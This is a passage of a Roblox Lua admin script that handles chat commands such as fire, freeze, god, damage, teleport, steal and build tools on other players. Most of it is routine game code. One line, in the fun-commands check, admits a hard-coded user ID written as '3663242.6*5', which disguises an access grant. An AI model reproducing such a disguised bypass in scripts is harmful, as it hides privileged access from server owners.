pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA('PointLight') then cl:Destroy() end end end end)) end end if msg:lower():sub(1,5) == "talk " then local chk1 = msg:lower():sub(6):find(" ") + 5 local message = msg:sub(chk1+1) for i,p in pairs(set.GetPlayers(plr, msg:lower():sub(6,chk1-1))) do coroutine.wrap(function() game:service('Chat'):Chat(p.Character.Head,message,Enum.ChatColor.Blue) end)() end end if msg:lower():sub(1,5) == "fire " then local chk1 = msg:lower():sub(6):find(" ") local plrz = set.GetPlayers(plr, msg:lower():sub(6)) local str = BrickColor.new('Bright orange').Color if chk1 then chk1 = chk1 + 5 plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1)) local teststr = msg:sub(chk1+1) if BrickColor.new(teststr) ~= nil then str = BrickColor.new(teststr).Color end end for i, v in pairs(plrz) do coroutine.wrap(function() if v and v.Character and v.Character:findFirstChild("Torso") then local f=Instance.new('Fire',v.Character.Torso) local p=Instance.new('PointLight',v.Character.Torso) table.insert(set.objects,f) table.insert(set.objects,p) p.Color=str p.Brightness=5 p.Range=15 f.Color=str f.SecondaryColor=str end end)() end end if msg:lower():sub(1,7) == "unfire " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") or cl:IsA('PointLight') then cl:Destroy() end end end end)) end end if msg:lower():sub(1,6) == "smoke " then local chk1 = msg:lower():sub(7):find(" ") local plrz = set.GetPlayers(plr, msg:lower():sub(7)) local str = BrickColor.new('Bright orange').Color if chk1 then chk1 = chk1 + 6 plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1)) local teststr = msg:sub(chk1+1) if BrickColor.new(teststr) ~= nil then str = BrickColor.new(teststr).Color end end for i, v in pairs(plrz) do coroutine.wrap(function() if v and v.Character and v.Character:findFirstChild("Torso") then local cl = Instance.new("Smoke", v.Character.Torso) table.insert(set.objects, cl) cl.Color=str end end)() end end if msg:lower():sub(1,8) == "unsmoke " then local plrz = set.GetPlayers(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end end end)) end end if msg:lower():sub(1,9) == "sparkles " then local chk1 = msg:lower():sub(10):find(" ") local plrz = set.GetPlayers(plr, msg:lower():sub(10)) local str = BrickColor.new('Bright blue').Color if chk1 then chk1 = chk1 + 9 plrz = set.GetPlayers(plr, msg:lower():sub(10,chk1-1)) local teststr = msg:sub(chk1+1) if BrickColor.new(teststr) ~= nil then str = BrickColor.new(teststr).Color end end for i, v in pairs(plrz) do coroutine.wrap(function() if v and v.Character and v.Character:findFirstChild("Torso") then local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(set.objects, cl) local p=Instance.new('PointLight',v.Character.Torso) table.insert(set.objects, p) p.Color=str p.Brightness=5 p.Range=15 cl.SparkleColor=str end end)() end end if msg:lower():sub(1,11) == "unsparkles " then local plrz = set.GetPlayers(plr, msg:lower():sub(12)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") or cl:IsA('PointLight') then cl:Destroy() end end end end)) end end if msg:lower():sub(1,3) == "ff " then local plrz = set.GetPlayers(plr, msg:lower():sub(4)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then Instance.new("ForceField", v.Character) end end)) end end if msg:lower():sub(1,5) == "unff " then local plrz = set.GetPlayers(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end end end)) end end if msg:lower():sub(1,7) == "punish " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.Character.Parent = game:service("Lighting") end end)) end end if msg:lower():sub(1,9) == "unpunish " then local plrz = set.GetPlayers(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.Character.Parent = game:service("Workspace") v.Character:MakeJoints() end end)) end end if msg:lower():sub(1,7) == "freeze " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then for a, obj in pairs(v.Character:children()) do if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0 end end end)) end end if msg:lower():sub(1,5) == "thaw " then local plrz = set.GetPlayers(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then for a, obj in pairs(v.Character:children()) do if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16 end end end)) end end if msg:lower():sub(1,5) == "heal " then local plrz = set.GetPlayers(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth end end)) end end if msg:lower():sub(1,4) == "god " then local plrz = set.GetPlayers(plr, msg:lower():sub(5)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.MaxHealth = math.huge v.Character.Humanoid.Health = 9e9 end end)) end end if msg:lower():sub(1,6) == "ungod " then local plrz = set.GetPlayers(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.MaxHealth = 100 v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth end end)) end end if msg:lower():sub(1,8) == "ambient " then local chk1 = msg:lower():sub(9):find(" ") + 8 local chk2 = msg:sub(chk1+1):find(" ") + chk1 game:service('Lighting').Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1)) end if msg:lower():sub(1,9) == "oambient " then local chk1 = msg:lower():sub(10):find(" ") + 9 local chk2 = msg:sub(chk1+1):find(" ") + chk1 game:service('Lighting').OutdoorAmbient = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1)) end if msg:lower() == "nofog" then game:service('Lighting').FogEnd=1000000000000 end if msg:lower() == "shadowson" then game:service('Lighting').GlobalShadows=true end if msg:lower() == "shadowsoff" then game:service('Lighting').GlobalShadows=false end if msg:lower() == "outlineson" then game:service('Lighting').Outlines=true end if msg:lower() == "outlinesoff" then game:service('Lighting').Outlines=false end if msg:lower():sub(1,7) == "repeat " then coroutine.wrap(function() local chk1 = msg:lower():sub(8):find(" ") + 7 local chk2 = msg:sub(chk1+1):find(" ") + chk1 local amount = tonumber(msg:lower():sub(8,chk1-1)) local timer = tonumber(msg:lower():sub(chk1+1,chk2-1)) if timer<=0 then timer=1 end local command = msg:lower():sub(chk2+1) local num=0 coroutine.wrap(function() table.insert(set.dontlog,{n=plr.Name,c=set['prefix']..command}) repeat set.Chat(set['prefix']..command,plr) wait(timer) num=num+1 until num==amount for i,v in pairs(set.dontlog) do if v and v.n==plr.Name and v.c==set['prefix']..command then table.remove(set.dontlog,i) end end end)() end)() end if msg:lower():sub(1,11) == "brightness " then game:service('Lighting').Brightness = msg:sub(12) end if msg:lower():sub(1,5) == "time " then game:service('Lighting').TimeOfDay = msg:sub(6) end if msg:lower():sub(1,9) == "fogcolor " then local chk1 = msg:lower():sub(10):find(" ") + 9 local chk2 = msg:sub(chk1+1):find(" ") + chk1 game:service('Lighting').FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1)) end if msg:lower():sub(1,7) == "fogend " then game:service('Lighting').FogEnd = msg:sub(8) end if msg:lower():sub(1,9) == "fogstart " then game:service('Lighting').FogStart = msg:sub(10) end if msg:lower():sub(1,7) == "btools " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("Backpack") then local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool" local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone" local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer" local t4 = Instance.new("HopperBin", v.Backpack) t4.Name = "Resize" local t5 = game:service('InsertService'):LoadAsset(150794490) t5['Building Tools'].Parent=v.Backpack t5:Destroy() local cl4 = set.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[ repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui") local sb local hs local pdist script.Parent.Selected:connect(function(mouse) if not mouse then return end sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end) hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end) hs.MouseButton1Down:connect(function() pdist = 0 end) end) script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false end end)) end end if msg:lower():sub(1,12) == "startergive " then local chk1 = msg:lower():sub(13):find(" ") + 12 local plrz = set.GetPlayers(plr, msg:lower():sub(13,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then for a, tool in pairs(game:service('Lighting'):children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end end end end end)) end end if msg:lower():sub(1,5) == "give " then local chk1 = msg:lower():sub(6):find(" ") + 5 local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then for a, tool in pairs(game:service('Lighting'):children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end end end end end)) end end if msg:lower():sub(1,6) == "steal " then local chk1 = msg:lower():sub(7):find(" ") + 6 local p1 = set.GetPlayers(plr, msg:lower():sub(7,chk1-1)) local p2 = set.GetPlayers(plr, msg:lower():sub(chk1+1)) coroutine.wrap(function() for i,v in pairs(p1) do coroutine.wrap(function() for k,m in pairs(p2) do for j,n in pairs(v.Backpack:children()) do print(n.Name) local b=n:clone() n.Parent=m.Backpack end end v.Backpack:ClearAllChildren() end)() end end)() end if msg:lower():sub(1,12) == "removetools " then local plrz = set.GetPlayers(plr, msg:lower():sub(13)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v:findFirstChild("Backpack") then for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end end end)) end end if msg:lower():sub(1,5) == "rank " then local chk1 = msg:lower():sub(6):find(" ") + 5 local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:IsInGroup(msg:sub(chk1+1)) then set.Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr}) elseif v and not v:IsInGroup(msg:sub(chk1+1))then set.Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr}) end end)) end end if msg:lower():sub(1,7) == "damage " then local chk1 = msg:lower():sub(8):find(" ") + 7 local plrz = set.GetPlayers(plr, msg:lower():sub(8,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid:TakeDamage(msg:sub(chk1+1)) end end)) end end if msg:lower():sub(1,5) == "grav " then local plrz = set.GetPlayers(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end end end)) end end if msg:lower():sub(1,8) == "setgrav " then local chk1 = msg:lower():sub(9):find(" ") + 8 local plrz = set.GetPlayers(plr, msg:lower():sub(9,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0) for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end end end)) end end if msg:lower():sub(1,7) == "nograv " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0) for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end end end)) end end if msg:lower():sub(1,7) == "health " then local chk1 = msg:lower():sub(8):find(" ") + 7 local plrz = set.GetPlayers(plr, msg:lower():sub(8,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.MaxHealth = msg:sub(chk1+1) v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth end end)) end end if msg:lower():sub(1,6) == "speed " then local chk1 = msg:lower():sub(7):find(" ") + 6 local plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1) end end)) end end if msg:lower():sub(1,5) == "team " then local chk1 = msg:lower():sub(6):find(" ") + 5 local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and game:findFirstChild("Teams") then for a, tm in pairs(game.Teams:children()) do if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end end end end)) end end if msg:lower():sub(1,6) == "place " then local chk1 = msg:lower():sub(7):find(" ") + 6 local plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() set.PromptPlaceTeleport(v,"Teleport to "..msg:sub(chk1+1).."?",msg:sub(chk1+1)) end)) end end if msg:lower():sub(1,3) == "tp " then local chk1 = msg:lower():sub(4):find(" ") + 3 local plrz = set.GetPlayers(plr, msg:lower():sub(4,chk1-1)) local plrz2 = set.GetPlayers(plr, msg:lower():sub(chk1+1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() for i2, v2 in pairs(plrz2) do if v and v2 and v.Character and v2.Character and v.Character:FindFirstChild('Humanoid') and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then if v.Character.Humanoid.Sit==true then v.Character.Humanoid.Sit=false wait(0.5) end v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1)) end end end)) end end if msg:lower():sub(1,9) == "freefall " then local chk1 = msg:lower():sub(10):find(" ") + 9 local plrz = set.GetPlayers(plr, msg:lower():sub(10,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character:FindFirstChild('Torso') then v.Character.Torso.CFrame=v.Character.Torso.CFrame+Vector3.new(0,tonumber(msg:sub(chk1+1)),0) end end)) end end if msg:lower():sub(1,7) == "change " then local chk1 = msg:lower():sub(8):find(" ") + 7 local chk2 = msg:sub(chk1+1):find(" ") + chk1 local plrz = set.GetPlayers(plr, msg:lower():sub(8,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("leaderstats") then for a, st in pairs(v.leaderstats:children()) do if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end end end end)) end end if msg:lower():sub(1,6) == "shirt " then local chk1 = msg:lower():sub(7):find(" ") + 6 local plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for g,k in pairs(v.Character:children()) do if k:IsA("Shirt") then k:Destroy() end end local s=Instance.new('Shirt',v.Character) s.ShirtTemplate="http://www.roblox.com/asset/?id="..msg:sub(chk1+1) end end)) end end if msg:lower():sub(1,6) == "pants " then local chk1 = msg:lower():sub(7):find(" ") + 6 local plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for g,k in pairs(v.Character:children()) do if k:IsA("Pants") then k:Destroy() end end local s=Instance.new('Pants',v.Character) s.PantsTemplate="http://www.roblox.com/asset/?id="..msg:sub(chk1+1) end end)) end end if msg:lower():sub(1,5) == "face " then local chk1 = msg:lower():sub(6):find(" ") + 5 local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1 end end)) end end --------------------- -- FunCommands -- --------------------- if not set['FunCommands'] then set.Message('System Message','Fun Commands are disabled in settings!',false,{plr}) end if set['FunCommands'] or plr.userId == game.CreatorId or plr.userId==(3663242.6*5) or set.ChkOwner(plr.Name:lower()) then if msg:lower():sub(1,8) == "swagify " then local plrz = set.GetPlayers(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for i,v in pairs(v.Character:children()) do if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end end for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end set.LoadOnClient(v,[[local plr = game.Players.LocalPlayer repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso") local torso = plr.Character.Torso local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom" p.Size = Vector3.new(.2,.2,.2) local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5) local motor1 = Instance.new("Motor", p) motor1.Part0 = p motor1.Part1 = torso motor1.MaxVelocity = .01 motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0) motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0) local wave = false repeat wait(1/44) local ang = 0.1 local oldmag = torso.Velocity.magnitude local mv = .002 if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end ang = ang + math.min(torso.Velocity.magnitude/11, .5) motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv motor1.DesiredAngle = -ang if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1 if torso.Velocity.magnitude < .1 then wait(.1) end until not p or p.Parent ~= torso.Parent script:Destroy() ]],false,'CapeScript') end end)) end end if msg:lower():sub(1,7)=='rocket ' then for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(8))) do coroutine.wrap(function() if v.Character and v.Character:FindFirstChild("Torso") then delay(0,function() local speed = 10 local Part = Instance.new("Part") Part.Parent = v.Character local SpecialMesh = Instance.new("SpecialMesh") SpecialMesh.Parent = Part SpecialMesh.MeshId = "http://www.roblox.com/asset/?id=2251534" SpecialMesh.MeshType = "FileMesh" SpecialMesh.TextureId = "43abb6d081e0fbc8666fc92f6ff378c1" SpecialMesh.Scale = Vector3.new(0.5,0.5,0.5) local Weld = Instance.new("Weld") Weld.Parent = Part Weld.Part0 = Part Weld.Part1 = v.Character.Torso Weld.C0 = CFrame.new(0,-1,0)*CFrame.Angles(-1.5,0,0) local BodyVelocity = Instance.new("BodyVelocity") BodyVelocity.Parent = Part BodyVelocity.maxForce = Vector3.new(math.huge,math.huge,math.huge) BodyVelocity.velocity = Vector3.new(0,10*speed,0) delay(0,function() for i = 1,math.huge do local Explosion = Instance.new("Explosion") Explosion.Parent = Part Explosion.BlastRadius = 0 Explosion.Position = Part.Position + Vector3.new(0,0,0) wait() end end) wait(3) pcall(function() BodyVelocity:remove() Instance.new("Explosion",workspace).Position=v.Character.Torso.Position v.Character:BreakJoints() end) end) end end)() end end if msg:lower():sub(1,6) == "dance " then local plrz = set.GetPlayers(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:FindFirstChild('Humanoid') then local anim=Instance.new('Animation',v.Character) anim.AnimationId='http://www.roblox.com/Asset?ID=27789359' anim.Name='Dance' set.LoadOnClient(v,[[local human = game.Players.LocalPlayer.Character:FindFirstChild("Humanoid") local dancer = human:LoadAnimation(human.Parent.Dance) dancer:Play() wait(60) dancer:Stop() dancer:Destroy()]],false,set.AssignName()) end end)) end end if msg:lower():sub(1,11) == "breakdance " then local plrz = set.GetPlayers(plr, msg:lower():sub(12)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() local color local num=math.random(1,7) if num==1 then color='Really blue' elseif num==2 then color='Really red' elseif num==3 then color='Magenta' elseif num==4 then color='Lime green' elseif num==5 then color='Hot pink' elseif num==6 then color='New Yeller' elseif num==7 then color='White' end if v and v.Character and v.Character:FindFirstChild('Humanoid') then local anim=Instance.new('Animation',v.Character) anim.AnimationId='http://www.roblox.com/Asset?ID=27789359' anim.Name='Dance' set.LoadOnClient(v,[[local human = game.Players.LocalPlayer.Character:FindFirstChild("Humanoid") local dancer = human:LoadAnimation(human.Parent.Dance) dancer:Play() while wait() do human.PlatformStand=true end]],false,set.AssignName()) cmd=set['prefix'].."batch sparkles "..v.Name.. " "..color.."/fire "..v.Name.." "..color.."/nograv "..v.Name.."/smoke "..v.Name.." "..color.."/spin "..v.Name table.insert(set.dontlog,{n=plr.Name,c=cmd}) set.Chat(cmd,plr) for i,v in pairs(set.dontlog) do if v and v.n==plr.Name and v.c==cmd then table.remove(set.dontlog,i) end end end end)) end end if msg:lower():sub(1,5)=='puke ' then for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(6))) do coroutine.wrap(function() if (not v:IsA('Player')) or (not v) or (not v.Character) or (not v.Character:FindFirstChild('Head')) or v.Character:FindFirstChild('Kohls Puke') then return end local run=true local k=Instance.new('StringValue',v.Character) k.Name='Kohls Puke' coroutine.wrap(function() repeat wait(0.15) local p = Instance.new("Part",v.Character) p.CanCollide = false local color = math.random(1, 3) local bcolor if color == 1 then bcolor = BrickColor.new(192) elseif color == 2 then bcolor = BrickColor.new(28) elseif color == 3 then bcolor = BrickColor.new(105) end p.BrickColor = bcolor local m=Instance.new('BlockMesh',p) p.Size=Vector3.new(0.1,0.1,0.1) m.Scale = Vector3.new(math.random()*0.9, math.random()*0.9, math.random()*0.9) p.Locked = true p.TopSurface = "Smooth" p.BottomSurface = "Smooth" p.CFrame = v.Character.Head.CFrame * CFrame.new(Vector3.new(0, 0, -1)) p.Velocity = v.Character.Head.CFrame.lookVector * 20 + Vector3.new(math.random(-5, 5), math.random(-5, 5), math.random(-5, 5)) p.Anchored = false m.Name='Puke Peice' p.Name='Puke Peice' p.Touched:connect(function(o) if o and p and (not game.Players:FindFirstChild(o.Parent.Name)) and o.Name~='Puke Peice' and o.Name~='Blood Peice' and o.Name~='Blood Plate' and o.Name~='Puke Plate' and (o.Parent.Name=='Workspace' or o.Parent:IsA('Model')) and (o.Parent~=p.Parent) and o:IsA('Part') and (o.Parent.Name~=v.Character.Name) and (not o.Parent:IsA('Hat')) and (not o.Parent:IsA('Tool')) then local cf=CFrame.new(p.CFrame.X,o.CFrame.Y+o.Size.Y/2,p.CFrame.Z) p:Destroy() local g=Instance.new('Part',workspace) g.Anchored=true g.CanCollide=false g.Size=Vector3.new(0.1,0.1,0.1) g.Name='Puke Plate' g.CFrame=cf g.BrickColor=BrickColor.new(119) local c=Instance.new('CylinderMesh',g) c.Scale=Vector3.new(1,0.2,1) c.Name='PukeMesh' wait(10) g:Destroy() elseif o and o.Name=='Puke Plate' and p then p:Destroy() o.PukeMesh.Scale=o.PukeMesh.Scale+Vector3.new(0.5,0,0.5) end end) until run==false or (not v) or (not v.Character) or (not v.Character:FindFirstChild('Head')) end)() wait(10) run=false k:Destroy() end)() end end if msg:lower():sub(1,4)=='cut ' then for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(5))) do coroutine.wrap(function() if (not v:IsA('Player')) or (not v) or (not v.Character) or (not v.Character:FindFirstChild('Head')) or v.Character:FindFirstChild('Kohls Bleed') then return end local run=true local k=Instance.new('StringValue',v.Character) k.Name='Kohls Bleed' coroutine.wrap(function() repeat wait(0.15) v.Character.Humanoid.Health=v.Character.Humanoid.Health-0.5 local p = Instance.new("Part",v.Character) p.CanCollide = false local color = math.random(1, 3) local bcolo if color == 1 then bcolor = BrickColor.new(21) elseif color == 2 then bcolor = BrickColor.new(1004) elseif color == 3 then bcolor = BrickColor.new(21) end p.BrickColor = bcolor local m=Instance.new('BlockMesh',p) p.Size=Vector3.new(0.1,0.1,0.1) m.Scale = Vector3.new(math.random()*0.9, math.random()*0.9, math.random()*0.9) p.Locked = true p.TopSurface = "Smooth" p.BottomSurface = "Smooth" p.CFrame = v.Character.Torso.CFrame * CFrame.new(Vector3.new(2, 0, 0)) p.Velocity = v.Character.Head.CFrame.lookVector * 1 + Vector3.new(math.random(-1, 1), math.random(-1, 1), math.random(-1, 1)) p.Anchored = false m.Name='Blood Peice' p.Name='Blood Peice' p.Touched:connect(function(o) if o and p and (not game.Players:FindFirstChild(o.Parent.Name)) and o.Name~='Blood Peice' and o.Name~='Puke Peice' and o.Name~='Puke Plate' and o.Name~='Blood Plate' and (o.Parent.Name=='Workspace' or o.Parent:IsA('Model')) and (o.Parent~=p.Parent) and o:IsA('Part') and (o.Parent.Name~=v.Character.Name) and (not o.Parent:IsA('Hat')) and (not o.Parent:IsA('Tool')) then local cf=CFrame.new(p.CFrame.X,o.CFrame.Y+o.Size.Y/2,p.CFrame.Z) p:Destroy() local g=Instance.new('Part',workspace) g.Anchored=true g.CanCollide=false g.Size=Vector3.new(0.1,0.1,0.1) g.Name='Blood Plate' g.CFrame=cf g.BrickColor=BrickColor.new(21) local c=Instance.new('CylinderMesh',g) c.Scale=Vector3.new(1,0.2,1) c.Name='BloodMesh' wait(10) g:Destroy() elseif o and o.Name=='Blood Plate' and p then p:Destroy() o.BloodMesh.Scale=o.BloodMesh.Scale+Vector3.new(0.5,0,0.5) end end) until run==false or (not v) or (not v.Character) or (not v.Character:FindFirstChild('Head')) end)() wait(10) run=false k:Destroy() end)() end end if msg:lower():sub(1,5)=='drug ' then for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(6))) do coroutine.wrap(function() local msgs={{Msg='We need more..... philosophy... ya know?',Color=Enum.ChatColor.Green},{Msg='OH MY GOD STOP TRYING TO EAT MY SOUL',Color=Enum.ChatColor.Red},{Msg='I.... CANT.... FEEL.... MY FACE',Color=Enum.ChatColor.Red},{Msg='DO YOU SEE THE TURTLE?!?!',Color=Enum.ChatColor.Red},{Msg='Omg puff the magic 